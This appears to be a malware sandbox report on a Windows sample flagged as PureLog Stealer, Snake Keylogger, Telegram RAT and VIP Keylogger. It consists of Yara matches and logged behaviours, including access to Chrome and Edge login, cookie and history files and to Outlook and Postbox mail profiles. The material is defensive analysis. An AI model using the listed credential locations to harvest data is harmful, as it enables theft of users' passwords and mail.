            Source: C:\Users\Public\Libraries\nhpoymuP.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Users\Public\Libraries\nhpoymuP.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
            Source: C:\Users\Public\Libraries\nhpoymuP.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
            Source: C:\Users\Public\Libraries\nhpoymuP.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
            Source: C:\Users\Public\Libraries\nhpoymuP.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
            Source: C:\Users\Public\Libraries\nhpoymuP.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
            Source: C:\Users\Public\Libraries\nhpoymuP.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
            Source: C:\Users\Public\Libraries\nhpoymuP.pifQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02C9918C GetLocalTime,0_2_02C9918C
            Source: C:\Users\user\Desktop\image.exeCode function: 0_2_02C9B70C GetVersionExA,0_2_02C9B70C
            Source: C:\Users\Public\Libraries\nhpoymuP.pifKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

            Stealing of Sensitive Information

            barindex
            Yara detected PureLog Stealer
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470000.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d2a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30000.6.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30ee8.7.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840000.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f3499de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470000.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d299de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.3.nhpoymuP.pif.240bcc58.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d2a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840ee8.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d299de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.3.nhpoymuP.pif.2d7ca218.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.3.nhpoymuP.pif.25817960.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.306ae390.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.284d0000.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.2750a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470ee8.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30655570.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f3499de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.323b0000.8.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27a00000.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.275099de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f34a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.284d0000.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840ee8.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.3.nhpoymuP.pif.25817960.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470ee8.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30656458.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27a00000.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.275099de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30000.6.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30655570.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840000.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30656458.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.3.nhpoymuP.pif.240bcc58.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.2750a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Yara detected Snake Keylogger
            Source: Yara matchFile source: 00000003.00000002.1986029241.000000002F651000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2964961500.0000000025ED1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2966303963.0000000027AC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1986029241.000000002F6BC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Yara detected Telegram RAT
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470000.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d2a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30000.6.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30ee8.7.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840000.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f3499de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470000.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d299de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.3.nhpoymuP.pif.240bcc58.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d2a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840ee8.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d299de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.3.nhpoymuP.pif.2d7ca218.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.3.nhpoymuP.pif.25817960.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.306ae390.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.284d0000.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.2750a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470ee8.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30655570.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f3499de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.323b0000.8.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27a00000.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.275099de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f34a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.284d0000.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840ee8.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.3.nhpoymuP.pif.25817960.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470ee8.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30656458.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27a00000.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.275099de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30000.6.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30655570.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840000.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30656458.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.3.nhpoymuP.pif.240bcc58.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.2750a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: nhpoymuP.pif PID: 7416, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: nhpoymuP.pif PID: 7688, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: nhpoymuP.pif PID: 8008, type: MEMORYSTR
            Yara detected VIP Keylogger
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470000.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d2a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30000.6.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30ee8.7.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840000.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f3499de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470000.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d299de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.3.nhpoymuP.pif.240bcc58.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d2a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840ee8.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d299de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.3.nhpoymuP.pif.2d7ca218.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.3.nhpoymuP.pif.25817960.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.306ae390.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.284d0000.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.2750a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470ee8.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30655570.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f3499de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.323b0000.8.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27a00000.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.275099de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f34a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.284d0000.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840ee8.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.3.nhpoymuP.pif.25817960.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470ee8.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30656458.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27a00000.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.275099de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30000.6.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30655570.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840000.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30656458.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.3.nhpoymuP.pif.240bcc58.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.2750a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2964961500.0000000026094000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: nhpoymuP.pif PID: 7416, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: nhpoymuP.pif PID: 7688, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: nhpoymuP.pif PID: 8008, type: MEMORYSTR
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Users\Public\Libraries\nhpoymuP.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
            Source: C:\Users\Public\Libraries\nhpoymuP.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
            Source: C:\Users\Public\Libraries\nhpoymuP.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
            Source: C:\Users\Public\Libraries\nhpoymuP.pifFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
            Source: C:\Users\Public\Libraries\nhpoymuP.pifFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
            Source: C:\Users\Public\Libraries\nhpoymuP.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
            Source: C:\Users\Public\Libraries\nhpoymuP.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites
            Tries to steal Mail credentials (via file / registry access)
            Source: C:\Users\Public\Libraries\nhpoymuP.pifFile opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
            Source: C:\Users\Public\Libraries\nhpoymuP.pifFile opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
            Source: C:\Users\Public\Libraries\nhpoymuP.pifKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470000.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d2a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30000.6.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30ee8.7.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840000.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f3499de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470000.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d299de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.3.nhpoymuP.pif.240bcc58.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d2a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840ee8.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.25d299de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f34a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.3.nhpoymuP.pif.2d7ca218.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.3.nhpoymuP.pif.25817960.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.306ae390.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.284d0000.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30ee8.7.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.2750a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470ee8.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.323b0000.8.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30655570.3.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.3.nhpoymuP.pif.2d7ca218.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f3499de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.284d0000.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27a00000.5.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.275099de.2.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.2f34a8c6.1.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840ee8.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.3.nhpoymuP.pif.25817960.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.2.nhpoymuP.pif.28470ee8.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.306ae390.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30656458.4.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27a00000.5.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.275099de.2.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.2750a8c6.1.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.323b0000.8.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.31c30000.6.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 7.2.nhpoymuP.pif.27840000.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30655570.3.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 3.2.nhpoymuP.pif.30656458.4.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 14.3.nhpoymuP.pif.240bcc58.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
